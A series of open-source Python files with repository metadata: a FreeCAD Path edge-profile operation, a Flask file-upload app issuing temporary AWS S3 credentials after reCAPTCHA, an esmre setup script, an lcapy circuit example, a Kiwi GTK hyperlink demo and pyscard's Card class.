obj.Side = "Right" item = (ss, sub) if item in baselist: FreeCAD.Console.PrintWarning("this object already in the list" + "\n") else: baselist.append(item) obj.Base = baselist self.execute(obj) def _buildPathLibarea(self, obj, edgelist): import PathScripts.PathKurveUtils as PathKurveUtils import math import area output = "" if obj.Comment != "": output += '(' + str(obj.Comment)+')\n' if obj.StartPoint and obj.UseStartPoint: startpoint = obj.StartPoint else: startpoint = None if obj.EndPoint and obj.UseEndPoint: endpoint = obj.EndPoint else: endpoint = None PathKurveUtils.output('mem') PathKurveUtils.feedrate_hv(self.horizFeed, self.vertFeed) output = "" output += "G0 Z" + str(obj.ClearanceHeight.Value) + "F " + PathUtils.fmt(self.vertRapid) + "\n" curve = PathKurveUtils.makeAreaCurve(edgelist, obj.Direction, startpoint, endpoint) '''The following line uses a profile function written for use with FreeCAD. It's clean but incomplete. It doesn't handle print "x = " + str(point.x) print "y - " + str(point.y) holding tags start location CRC or probably other features in heekscnc''' # output += PathKurveUtils.profile(curve, side, radius, vf, hf, offset_extra, rapid_safety_space, clearance, start_depth, step_down, final_depth, use_CRC) '''The following calls the original procedure from h toolLoad = obj.activeTCeekscnc profile function. This, in turn, calls many other procedures to modify the profile. This procedure is hacked together from heekscnc and has not been thoroughly reviewed or understood for FreeCAD. It can probably be thoroughly optimized and improved but it'll take a smarter mind than mine to do it. -sliptonic Feb16''' roll_radius = 2.0 extend_at_start = 0.0 extend_at_end = 0.0 lead_in_line_len = 0.0 lead_out_line_len = 0.0 ''' Right here, I need to know the Holding Tags group from the tree that refers to this profile operation and build up the tags for PathKurve Utils. I need to access the location vector, length, angle in radians and height. ''' PathKurveUtils.clear_tags() for i in range(len(obj.locs)): tag = obj.locs[i] h = obj.heights[i] l = obj.lengths[i] a = math.radians(obj.angles[i]) PathKurveUtils.add_tag(area.Point(tag.x, tag.y), l, a, h) depthparams = depth_params( obj.ClearanceHeight.Value, obj.SafeHeight.Value, obj.StartDepth.Value, obj.StepDown, 0.0, obj.FinalDepth.Value, None) PathKurveUtils.profile2( curve, obj.Side, self.radius, self.vertFeed, self.horizFeed, self.vertRapid, self.horizRapid, obj.OffsetExtra.Value, roll_radius, None, None, depthparams, extend_at_start, extend_at_end, lead_in_line_len, lead_out_line_len) output += PathKurveUtils.retrieve_gcode() return output def execute(self, obj): import Part # math #DraftGeomUtils output = "" toolLoad = PathUtils.getLastToolLoad(obj) # obj.ToolController = PathUtils.getToolControllers(obj) # toolLoad = PathUtils.getToolLoad(obj, obj.ToolController) if toolLoad is None or toolLoad.ToolNumber == 0: self.vertFeed = 100 self.horizFeed = 100 self.vertRapid = 100 self.horizRapid = 100 self.radius = 0.25 obj.ToolNumber = 0 obj.ToolDescription = "UNDEFINED" else: self.vertFeed = toolLoad.VertFeed.Value self.horizFeed = toolLoad.HorizFeed.Value self.vertRapid = toolLoad.VertRapid.Value self.horizRapid = toolLoad.HorizRapid.Value tool = PathUtils.getTool(obj, toolLoad.ToolNumber) if tool.Diameter == 0: self.radius = 0.25 else: self.radius = tool.Diameter/2 obj.ToolNumber = toolLoad.ToolNumber obj.ToolDescription = toolLoad.Name if obj.UserLabel == "": obj.Label = obj.Name + " :" + obj.ToolDescription else: obj.Label = obj.UserLabel + " :" + obj.ToolDescription output += "(" + obj.Label + ")" if obj.Side != "On": output += "(Compensated Tool Path. Diameter: " + str(self.radius * 2) + ")" else: output += "(Uncompensated Tool Path)" if obj.Base: # hfaces = [] # vfaces = [] wires = [] for b in obj.Base: edgelist = [] for sub in b[1]: edgelist.append(getattr(b[0].Shape, sub)) wires.extend(findWires(edgelist)) for wire in wires: edgelist = wire.Edges edgelist = Part.__sortEdges__(edgelist) output += self._buildPathLibarea(obj, edgelist) if obj.Active: path = Path.Path(output) obj.Path = path obj.ViewObject.Visibility = True else: path = Path.Path("(inactive operation)") obj.Path = path obj.ViewObject.Visibility = False class _ViewProviderProfile: def __init__(self, vobj): vobj.Proxy = self def attach(self, vobj): self.Object = vobj.Object return def setEdit(self, vobj, mode=0): FreeCADGui.Control.closeDialog() taskd = TaskPanel() taskd.obj = vobj.Object FreeCADGui.Control.showDialog(taskd) taskd.setupUi() return True def getIcon(self): return ":/icons/Path-Profile.svg" def __getstate__(self): return None def __setstate__(self, state): return None class _CommandAddTag: def GetResources(self): return {'Pixmap': 'Path-Holding', 'MenuText': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Add Holding Tag"), 'ToolTip': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Add Holding Tag")} def IsActive(self): return FreeCAD.ActiveDocument is not None def setpoint(self, point, o): obj = FreeCADGui.Selection.getSelection()[0] obj.StartPoint.x = point.x obj.StartPoint.y = point.y loc = obj.locs h = obj.heights l = obj.lengths a = obj.angles x = point.x y = point.y z = float(0.0) loc.append(Vector(x, y, z)) h.append(4.0) l.append(5.0) a.append(45.0) obj.locs = loc obj.heights = h obj.lengths = l obj.angles = a def Activated(self): FreeCADGui.Snapper.getPoint(callback=self.setpoint) class _CommandSetStartPoint: def GetResources(self): return {'Pixmap': 'Path-Holding', 'MenuText': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Pick Start Point"), 'ToolTip': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Pick Start Point")} def IsActive(self): return FreeCAD.ActiveDocument is not None def setpoint(self, point, o): obj = FreeCADGui.Selection.getSelection()[0] obj.StartPoint.x = point.x obj.StartPoint.y = point.y def Activated(self): FreeCADGui.Snapper.getPoint(callback=self.setpoint) class _CommandSetEndPoint: def GetResources(self): return {'Pixmap': 'Path-Holding', 'MenuText': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Pick End Point"), 'ToolTip': QtCore.QT_TRANSLATE_NOOP("Path_Profile", "Pick End Point")} def IsActive(self): return FreeCAD.ActiveDocument is not None def setpoint(self, point, o): obj = FreeCADGui.Selection.getSelection()[0] obj.EndPoint.x = point.x obj.EndPoint.y = point.y def Activated(self): FreeCADGui.Snapper.getPoint(callback=self.setpoint) class CommandPathProfileEdges: def GetResources(self): return {'Pixmap': 'Path-Profile-Edges', 'MenuText': QtCore.QT_TRANSLATE_NOOP("PathProfile", "Edge Profile"), 'Accel': "P, F", 'ToolTip': QtCore.QT_TRANSLATE_NOOP("PathProfile", "Profile based on Edges")} def IsActive(self): if FreeCAD.ActiveDocument is not None: for o in FreeCAD.ActiveDocument.Objects: if o.Name[:3] == "Job": return True return False def Activated(self): ztop = 10.0 zbottom = 0.0 FreeCAD.ActiveDocument.openTransaction(translate("Path", "Create a Profile based on edge selection")) FreeCADGui.addModule("PathScripts.PathProfile") FreeCADGui.doCommand('obj = FreeCAD.ActiveDocument.addObject("Path::FeaturePython", "Edge Profile")') FreeCADGui.doCommand('PathScripts.PathProfileEdges.ObjectProfile(obj)') FreeCADGui.doCommand('PathScripts.PathProfileEdges._ViewProviderProfile(obj.ViewObject)') FreeCADGui.doCommand('obj.Active = True') FreeCADGui.doCommand('obj.ClearanceHeight = ' + str(ztop + 10.0)) FreeCADGui.doCommand('obj.StepDown = 1.0') FreeCADGui.doCommand('obj.StartDepth= ' + str(ztop)) FreeCADGui.doCommand('obj.FinalDepth=' + str(zbottom)) FreeCADGui.doCommand('obj.SafeHeight = ' + str(ztop + 2.0)) FreeCADGui.doCommand('obj.Side = "On"') FreeCADGui.doCommand('obj.OffsetExtra = 0.0') FreeCADGui.doCommand('obj.Direction = "CW"') FreeCADGui.doCommand('obj.UseComp = False') FreeCADGui.doCommand('obj.PlungeAngle = 90.0') #FreeCADGui.doCommand('obj.ActiveTC = None') FreeCADGui.doCommand('PathScripts.PathUtils.addToJob(obj)') FreeCAD.ActiveDocument.commitTransaction() FreeCAD.ActiveDocument.recompute() FreeCADGui.doCommand('obj.ViewObject.startEditing()') class TaskPanel: def __init__(self): self.form = FreeCADGui.PySideUic.loadUi(":/panels/ProfileEdgesEdit.ui") #self.form = FreeCADGui.PySideUic.loadUi(FreeCAD.getHomePath() + "Mod/Path/ProfileEdgesEdit.ui") self.updating = False def accept(self): self.getFields() FreeCADGui.ActiveDocument.resetEdit() FreeCADGui.Control.closeDialog() FreeCAD.ActiveDocument.recompute() FreeCADGui.Selection.removeObserver(self.s) def reject(self): FreeCADGui.Control.closeDialog() FreeCAD.ActiveDocument.recompute() FreeCADGui.Selection.removeObserver(self.s) def getFields(self): if self.obj: if hasattr(self.obj, "StartDepth"): self.obj.StartDepth = self.form.startDepth.text() if hasattr(self.obj, "FinalDepth"): self.obj.FinalDepth = self.form.finalDepth.text() if hasattr(self.obj, "SafeHeight"): self.obj.SafeHeight = self.form.safeHeight.text() if hasattr(self.obj, "ClearanceHeight"): self.obj.ClearanceHeight = self.form.clearanceHeight.text() if hasattr(self.obj, "StepDown"): self.obj.StepDown = self.form.stepDown.value() if hasattr(self.obj, "OffsetExtra"): self.obj.OffsetExtra = self.form.extraOffset.value() if hasattr(self.obj, "SegLen"): self.obj.SegLen = self.form.segLen.value() if hasattr(self.obj, "RollRadius"): self.obj.RollRadius = self.form.rollRadius.value() if hasattr(self.obj, "PlungeAngle"): self.obj.PlungeAngle = str(self.form.plungeAngle.value()) if hasattr(self.obj, "UseComp"): self.obj.UseComp = self.form.useCompensation.isChecked() if hasattr(self.obj, "UseStartPoint"): self.obj.UseStartPoint = self.form.useStartPoint.isChecked() if hasattr(self.obj, "UseEndPoint"): self.obj.UseEndPoint = self.form.useEndPoint.isChecked() # if hasattr(self.obj, "Algorithm"): # self.obj.Algorithm = str(self.form.algorithmSelect.currentText()) if hasattr(self.obj, "Side"): self.obj.Side = str(self.form.cutSide.currentText()) if hasattr(self.obj, "Direction"): self.obj.Direction = str(self.form.direction.currentText()) self.obj.Proxy.execute(self.obj) def setFields(self): self.form.startDepth.setText(str(self.obj.StartDepth.Value)) self.form.finalDepth.setText(str(self.obj.FinalDepth.Value)) self.form.safeHeight.setText(str(self.obj.SafeHeight.Value)) self.form.clearanceHeight.setText(str(self.obj.ClearanceHeight.Value)) self.form.stepDown.setValue(self.obj.StepDown) self.form.extraOffset.setValue(self.obj.OffsetExtra.Value) self.form.segLen.setValue(self.obj.SegLen.Value) self.form.rollRadius.setValue(self.obj.RollRadius.Value) self.form.plungeAngle.setValue(self.obj.PlungeAngle.Value) self.form.useCompensation.setChecked(self.obj.UseComp) self.form.useStartPoint.setChecked(self.obj.UseStartPoint) self.form.useEndPoint.setChecked(self.obj.UseEndPoint) index = self.form.cutSide.findText( self.obj.Side, QtCore.Qt.MatchFixedString) if index >= 0: self.form.cutSide.setCurrentIndex(index) index = self.form.direction.findText( self.obj.Direction, QtCore.Qt.MatchFixedString) if index >= 0: self.form.direction.setCurrentIndex(index) for i in self.obj.Base: for sub in i[1]: self.form.baseList.addItem(i[0].Name + "." + sub) for i in range(len(self.obj.locs)): item = QtGui.QTreeWidgetItem(self.form.tagTree) item.setText(0, str(i+1)) l = self.obj.locs[i] item.setText(1, str(l.x)+", " + str(l.y) + ", " + str(l.z)) item.setText(2, str(self.obj.heights[i])) item.setText(3, str(self.obj.lengths[i])) item.setText(4, str(self.obj.angles[i])) item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) item.setTextAlignment(0, QtCore.Qt.AlignLeft) def open(self): self.s = SelObserver() # install the function mode resident FreeCADGui.Selection.addObserver(self.s) def addBase(self): # check that the selection contains exactly what we want selection = FreeCADGui.Selection.getSelectionEx() if len(selection) != 1: FreeCAD.Console.PrintError(translate("PathProject", "Please select only Edges from the Base model\n")) return sel = selection[0] if not sel.HasSubObjects: FreeCAD.Console.PrintError(translate("PathProject", "Please select one or more edges from the Base model\n")) return if not selection[0].SubObjects[0].ShapeType == "Edge": FreeCAD.Console.PrintError(translate("PathProject", "Please select one or more edges from the Base model\n")) return for i in sel.SubElementNames: self.obj.Proxy.addprofilebase(self.obj, sel.Object, i) self.setFields() # defaults may have changed. Reload. self.form.baseList.clear() for i in self.obj.Base: for sub in i[1]: self.form.baseList.addItem(i[0].Name + "." + sub) def deleteBase(self): dlist = self.form.baseList.selectedItems() newlist = [] for d in dlist: for i in self.obj.Base: if i[0].Name != d.text().partition(".")[0] or i[1] != d.text().partition(".")[2]: newlist.append(i) self.form.baseList.takeItem(self.form.baseList.row(d)) self.obj.Base = newlist self.obj.Proxy.execute(self.obj) FreeCAD.ActiveDocument.recompute() def itemActivated(self): FreeCADGui.Selection.clearSelection() slist = self.form.baseList.selectedItems() for i in slist: objstring = i.text().partition(".") obj = FreeCAD.ActiveDocument.getObject(objstring[0]) if objstring[2] != "": FreeCADGui.Selection.addSelection(obj, objstring[2]) else: FreeCADGui.Selection.addSelection(obj) FreeCADGui.updateGui() def reorderBase(self): newlist = [] for i in range(self.form.baseList.count()): s = self.form.baseList.item(i).text() objstring = s.partition(".") obj = FreeCAD.ActiveDocument.getObject(objstring[0]) item = (obj, str(objstring[2])) newlist.append(item) self.obj.Base = newlist self.obj.Proxy.execute(self.obj) FreeCAD.ActiveDocument.recompute() def getStandardButtons(self): return int(QtGui.QDialogButtonBox.Ok) def edit(self, item, column): if not self.updating: self.resetObject() def resetObject(self, remove=None): "transfers the values from the widget to the object" loc = [] h = [] l = [] a = [] for i in range(self.form.tagTree.topLevelItemCount()): it = self.form.tagTree.findItems( str(i+1), QtCore.Qt.MatchExactly, 0)[0] if (remove is None) or (remove != i): if it.text(1): x = float(it.text(1).split()[0].rstrip(",")) y = float(it.text(1).split()[1].rstrip(",")) z = float(it.text(1).split()[2].rstrip(",")) loc.append(Vector(x, y, z)) else: loc.append(0.0) if it.text(2): h.append(float(it.text(2))) else: h.append(4.0) if it.text(3): l.append(float(it.text(3))) else: l.append(5.0) if it.text(4): a.append(float(it.text(4))) else: a.append(45.0) self.obj.locs = loc self.obj.heights = h self.obj.lengths = l self.obj.angles = a self.obj.touch() FreeCAD.ActiveDocument.recompute() def addElement(self): self.updating = True item = QtGui.QTreeWidgetItem(self.form.tagTree) item.setText(0, str(self.form.tagTree.topLevelItemCount())) item.setText(1, "0.0, 0.0, 0.0") item.setText(2, str(float(4.0))) item.setText(3, str(float(10.0))) item.setText(4, str(float(45.0))) item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) self.updating = False self.resetObject() def removeElement(self): it = self.form.tagTree.currentItem() if it: nr = int(it.text(0))-1 self.resetObject(remove=nr) self.update() def update(self): 'fills the treewidget' self.updating = True self.form.tagTree.clear() if self.obj: for i in range(len(self.obj.locs)): item = QtGui.QTreeWidgetItem(self.form.tagTree) item.setText(0, str(i+1)) l = self.obj.locs[i] item.setText(1, str(l.x) + ", " + str(l.y) + ", " + str(l.z)) item.setText(2, str(self.obj.heights[i])) item.setText(3, str(self.obj.lengths[i])) item.setText(4, str(self.obj.angles[i])) item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) item.setTextAlignment(0, QtCore.Qt.AlignLeft) self.updating = False return def setupUi(self): # Connect Signals and Slots # Base Controls self.form.baseList.itemSelectionChanged.connect(self.itemActivated) self.form.addBase.clicked.connect(self.addBase) self.form.deleteBase.clicked.connect(self.deleteBase) self.form.reorderBase.clicked.connect(self.reorderBase) # Depths self.form.startDepth.editingFinished.connect(self.getFields) self.form.finalDepth.editingFinished.connect(self.getFields) self.form.stepDown.editingFinished.connect(self.getFields) # Heights self.form.safeHeight.editingFinished.connect(self.getFields) self.form.clearanceHeight.editingFinished.connect(self.getFields) # operation self.form.cutSide.currentIndexChanged.connect(self.getFields) self.form.direction.currentIndexChanged.connect(self.getFields) self.form.useCompensation.clicked.connect(self.getFields) self.form.useStartPoint.clicked.connect(self.getFields) self.form.useEndPoint.clicked.connect(self.getFields) self.form.extraOffset.editingFinished.connect(self.getFields) self.form.segLen.editingFinished.connect(self.getFields) self.form.rollRadius.editingFinished.connect(self.getFields) # Tag Form QtCore.QObject.connect( self.form.tagTree, QtCore.SIGNAL("itemChanged(QTreeWidgetItem *, int)"), self.edit) self.form.addTag.clicked.connect(self.addElement) self.form.deleteTag.clicked.connect(self.removeElement) self.setFields() sel = FreeCADGui.Selection.getSelectionEx() if len(sel) != 0 and sel[0].HasSubObjects: self.addBase() class SelObserver: def __init__(self): import PathScripts.PathSelection as PST PST.eselect() def __del__(self): import PathScripts.PathSelection as PST PST.clear() def addSelection(self, doc, obj, sub, pnt): FreeCADGui.doCommand('Gui.Selection.addSelection(FreeCAD.ActiveDocument.' + obj + ')') FreeCADGui.updateGui() if FreeCAD.GuiUp: # register the FreeCAD command FreeCADGui.addCommand('Path_Profile_Edges', CommandPathProfileEdges()) # FreeCADGui.addCommand('Add_Tag', _CommandAddTag()) # FreeCADGui.addCommand('Set_StartPoint', _CommandSetStartPoint()) # FreeCADGui.addCommand('Set_EndPoint', _CommandSetEndPoint()) FreeCAD.Console.PrintLog("Loading PathProfileEdges... done\n")
wood-galaxy/FreeCAD
src/Mod/Path/PathScripts/PathProfileEdges.py
Python
lgpl-2.1
32,805
from flask import Flask, render_template, request, redirect, Response, url_for, session, abort import time, os, json, base64, hmac, urllib, random, string, datetime from hashlib import sha1 from ConfigParser import SafeConfigParser from logging import Formatter import requests import boto3 application = Flask(__name__) ## ## Set debugging and logging # application.debug = True application.debug = False if application.debug is not True: import logging from logging.handlers import RotatingFileHandler loglevel = logging.INFO # loglevel = logging.DEBUG logFormatStr = '%(asctime)s %(levelname)s: %(message)s' # if loglevel == logging.DEBUG: # logFormatStr += ' [in %(pathname)s:%(lineno)d]' logFilename = 'filedrop.log' logging.basicConfig(format = logFormatStr, filename = logFilename, level=loglevel) application.logger.info("Logging started.") ## ## Read configuration config = SafeConfigParser() config_file_path = os.path.join (os.path.dirname(__file__),'filedrop-config.ini') application.logger.info("Reading config from: {}".format(config_file_path)) config.read ( config_file_path ) application.secret_key = config.get('flask','secret_key') ## ## Process Flask routes @application.route("/reCAPTCHA", methods=['GET', 'POST']) def reCAPTCHA(): application.logger.debug("in reCAPTCHA") if request.method == 'POST': application.logger.debug("checking capcha.") r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {"secret":config.get('reCAPTCHA','secret_key'), "response":request.form['g-recaptcha-response']}) if 'success' in r.json() and r.json()['success']: session['reCAPTCHA'] = True session['s3_numsigs'] = 0 application.logger.debug("capcha successful.") return redirect(url_for('index')) if 'reCAPTCHA' not in session or not session['reCAPTCHA']: application.logger.debug("reCAPTCHA: 'reCAPTCHA' not in session.") return (render_template('reCAPTCHA.html', reCAPTCHA_site_key = config.get('reCAPTCHA','site_key'))) application.logger.debug("reCAPTCHA: 'reCAPTCHA' IS in session.") return (redirect(url_for('index'))) @application.route("/", methods=['GET']) def index(): application.logger.debug("in index") # resp = [] # resp.append("<pre>") # for key in os.environ.keys(): # resp.append ("%30s %s \n" % (key, os.environ[key])) # resp.append("</pre>") if 'reCAPTCHA' not in session or not session['reCAPTCHA']: application.logger.debug("index: 'reCAPTCHA' not in session.") return (redirect(url_for('reCAPTCHA'))) application.logger.debug("index: not a robot") return (render_template('index.html')) # Listen for GET requests to yourdomain.com/sign_s3/ @application.route('/sign_s3/', methods=['GET', 'POST']) def sign_s3(): application.logger.debug("in sign_s3") if 'reCAPTCHA' not in session or not session['reCAPTCHA']: application.logger.debug("sign_s3: 'reCAPTCHA' not in session.") abort (401) if session['s3_numsigs'] > int(config.get('flask','max_session_sigs')): application.logger.debug("sign_s3: max_session_sigs exceeded") session.pop('reCAPTCHA', None) session.pop('s3_numsigs', None) abort (401) application.logger.debug("sign_s3: not a robot: {}/{} sigs in this session".format (session['s3_numsigs'],config.get('flask','max_session_sigs'))) application.logger.info("sign_s3: request remote addr: {}".format (request.remote_addr)) folder = "{} {}".format (str(request.remote_addr), datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")) # Get the application credentials and set a policy for the S3 bucket sts = boto3.client( 'sts', aws_access_key_id=config.get('S3', 'aws_access_key'), aws_secret_access_key=config.get('S3', 'aws_secret_access_key'), region_name=config.get('S3', 'region') ) policy = json.dumps({ "Version":"2012-10-17", "Statement" : [{ "Effect" : "Allow", "Action" : "s3:*", "Resource" : ["arn:aws:s3:::{}/{}/*".format(config.get('S3', 'bucket'), folder)] }] }) # Get a federation token (temporary credentials based on application credentials + policy) credentials = sts.get_federation_token( Name='filedrop', Policy=policy, DurationSeconds= 60 * 60, ) application.logger.debug("sign_s3: sts credentials") application.logger.debug(" AccessKeyId = {}".format (credentials['Credentials']['AccessKeyId'])) # application.logger.debug(" SessionToken = {}".format (credentials['Credentials']['SessionToken'])) # application.logger.debug(" SecretAccessKey = {}".format (credentials['Credentials']['SecretAccessKey'])) application.logger.debug("Bucket = {}".format (config.get('S3', 'bucket'))) application.logger.debug("Folder = {}".format (folder)) # Send the federation token back to the caller: content = json.dumps({ 'AccessKeyId': credentials['Credentials']['AccessKeyId'], 'SessionToken': credentials['Credentials']['SessionToken'], 'SecretAccessKey': credentials['Credentials']['SecretAccessKey'], 'Region': config.get('S3', 'region'), 'Bucket': config.get('S3', 'bucket'), 'Folder': folder, }) if 's3_numsigs' in session: session['s3_numsigs'] += 1 else: session['s3_numsigs'] = 1 return (content) @application.errorhandler(Exception) def internal_error(error): application.logger.error(error) return (repr(error)) # return render_template('500.html', error) if __name__ == "__main__": application.run(host='0.0.0.0')
igg/filedrop
filedrop/filedrop.py
Python
lgpl-2.1
5,365
# setup.py - distutils configuration for esm and esmre modules # Copyright (C) 2007 Tideway Systems Limited. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 # USA from setuptools import setup, Extension module1 = Extension("esm", #define_macros=[("HEAP_CHECK", 1)], sources = ['src/esm.c', 'src/aho_corasick.c', 'src/ac_heap.c', 'src/ac_list.c']) setup (name = "esmre", version = '0.3.2', description = 'Regular expression accelerator', long_description = " ".join(""" Modules used to accelerate execution of a large collection of regular expressions using the Aho-Corasick algorithms. """.strip().split()), classifiers = [ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: ' 'GNU Library or Lesser General Public License (LGPL)', 'Operating System :: POSIX', 'Programming Language :: C', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: Text Processing :: Indexing' ], install_requires=['setuptools'], author = 'Will Harris, Matteo Angelino', author_email = '[email protected], [email protected]', url = 'http://code.google.com/p/esmre/', license = 'GNU LGPL', platforms = ['POSIX'], ext_modules = [module1], package_dir = {'': 'src'}, py_modules = ["esmre"])
mangelin/esmre
setup.py
Python
lgpl-2.1
2,313
from lcapy import R, C n = C('C1') | (R('R1') + (C('C2') | (R('R2') + (C('C3') | (R('R3') + C('C4')))))) n.draw(__file__.replace('.py', '.png'), layout='ladder')
mph-/lcapy
doc/examples/networks/ladderRC3.py
Python
lgpl-2.1
163
# # Kiwi: a Framework and Enhanced Widgets for Python # # Copyright (C) 2005 Async Open Source # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # # Author(s): Lorenzo Gil Sanchez <[email protected]> # Johan Dahlin <[email protected]> # # This module: (C) Ali Afshar <[email protected]> # (contact if you require release under a different license) """ HyperLink demo application. """ import time import gtk from kiwi.ui import hyperlink class App(object): def __init__(self): self._window = gtk.Window() self._window.connect('destroy', self._on_window__destroy) self._window.set_title('Hyperlink Widget Demo') vb = gtk.VBox(spacing=3) vb.set_border_width(12) self._window.add(vb) self._build_basic_hyperlink(vb) vb.pack_start(gtk.HSeparator(), expand=False, padding=6) self._build_formatted_hyperlink(vb) vb.pack_start(gtk.HSeparator(), expand=False, padding=6) self._build_menu_hyperlink(vb) vb.pack_start(gtk.HSeparator(), expand=False, padding=6) sw = gtk.ScrolledWindow() vb.pack_start(sw) sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_ALWAYS) self._logger = gtk.TextView() sw.add(self._logger) self._logger.set_editable(False) self._window.show_all() def _build_basic_hyperlink(self, vb): self._hl1 = hyperlink.HyperLink('basic hyperlink') vb.pack_start(self._hl1, expand=False) self._hl1.connect('clicked', self._on_hl1__clicked) self._hl1.connect('right-clicked', self._on_hl1__right_clicked) d1 = gtk.Label( 'I am a basic hyperlink. The signals I emit are "clicked" and' ' "right-clicked". Try me out') d1.set_line_wrap(True) vb.pack_start(d1, expand=False) def _build_formatted_hyperlink(self, vb): self._hl2 = hyperlink.HyperLink('hyperlink with formatting') vb.pack_start(self._hl2, expand=False) self._hl2.normal_color = '#c000c0' self._hl2.hover_color = '#00c0c0' self._hl2.active_color = '#000000' self._hl2.hover_bold = True self._hl2.active_bold = True self._hl2.connect('clicked', self._on_hl2__clicked) self._hl2.connect('right-clicked', self._on_hl2__right_clicked) d1 = gtk.Label( 'I am a formatted hyperlink. I can be modified by setting' ' my properties like normal-color. Click me to change me!') d1.set_line_wrap(True) vb.pack_start(d1, expand=False) def _build_menu_hyperlink(self, vb): self._hl3 = hyperlink.HyperLink('menu hyperlink') vb.pack_start(self._hl3, expand=False) self._hl3.connect('clicked', self._on_hl3__clicked) self._hl3.connect('right-clicked', self._on_hl3__right_clicked) self._hl3.hover_underline = False self._hl3.active_underline = False menu = gtk.Menu() m1 = gtk.MenuItem() m1.add(gtk.Label('toggle bold')) menu.add(m1) m1.connect('activate', self._on_m1_activated) m2 = gtk.MenuItem() m2.add(gtk.Label('toggle underline')) menu.add(m2) m2.connect('activate', self._on_m2_activated) menu.show_all() self._hl3.set_menu(menu) d1 = gtk.Label( 'I am a hyperlink with a menu. Right click me to pop it up.') d1.set_line_wrap(True) vb.pack_start(d1, expand=False) def start(self): gtk.main() def stop(self): gtk.main_quit() def _on_window__destroy(self, window): self.stop() def _on_hl1__clicked(self, hyperlink): self.log('basic hyperlink clicked') def _on_hl1__right_clicked(self, hyperlink): self.log('basic hyperlink right-clicked') def _on_hl2__clicked(self, hyperlink): self.log('formatted hyperlink clicked') hyperlink.normal_color = '#c00000' hyperlink.normal_bold = True if not hyperlink.text.startswith('au'): hyperlink.text = 'automatically! by setting self.text = foo' else: hyperlink.text = 'and changed back again' def _on_hl2__right_clicked(self, hyperlink): self.log('formatted hyperlink right-clicked') def _on_hl3__clicked(self, hyperlink): self.log('menu hyperlink clicked') def _on_hl3__right_clicked(self, hyperlink): self.log('menu hyperlink right-clicked') def _on_m1_activated(self, menuitem): self.log('menuitem 1 activated') self._hl3.normal_bold = not self._hl3.normal_bold self._hl3.hover_bold = not self._hl3.hover_bold self._hl3.active_bold = not self._hl3.active_bold def _on_m2_activated(self, menuitem): self.log('menuitem 2 activated') self._hl3.normal_underline = not self._hl3.normal_underline self._hl3.hover_underline = not self._hl3.hover_underline self._hl3.active_underline = not self._hl3.active_underline def log(self, msg): buf = self._logger.get_buffer() timestr = time.strftime('%H:%M:%S') buf.insert(buf.get_start_iter(), '%s...%s\n' % (timestr, msg)) def main(): a = App() a.start() if __name__ == '__main__': main()
Schevo/kiwi
examples/hyperlink/hyperlink_demo.py
Python
lgpl-2.1
5,936
"""Card class. __author__ = "gemalto http://www.gemalto.com" Copyright 2001-2012 gemalto Author: Jean-Daniel Aussel, mailto:[email protected] This file is part of pyscard. pyscard is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. pyscard is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with pyscard; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ from smartcard.reader.Reader import Reader from smartcard.System import readers from smartcard.util import toHexString class Card(object): """Card class.""" def __init__(self, reader, atr): """Card constructor. reader: reader in which the card is inserted atr: ATR of the card""" self.reader = reader self.atr = atr def __repr__(self): """Return a string representing the Card (atr and reader concatenation).""" return toHexString(self.atr) + ' / ' + str(self.reader) def __eq__(self, other): """Return True if self==other (same reader and same atr). Return False otherwise.""" if isinstance(other, Card): return (self.atr == other.atr and repr(self.reader) == repr(other.reader)) else: return False def __ne__(self, other): """Return True if self!=other (same reader and same atr).Returns False otherwise.""" return not self.__eq__(other) def __hash__(self): """Returns a hash value for this object (str(self) is unique).""" return hash(str(self)) def createConnection(self): """Return a CardConnection to the Card object.""" readerobj = None if isinstance(self.reader, Reader): readerobj = self.reader elif type(self.reader) == str: for reader in readers(): if self.reader == str(reader): readerobj = reader if readerobj: return readerobj.createConnection() else: #raise CardConnectionException( # 'not a valid reader: ' + str(self.reader)) return None
moreati/pyscard
smartcard/Card.py
Python
lgpl-2.1
2,621
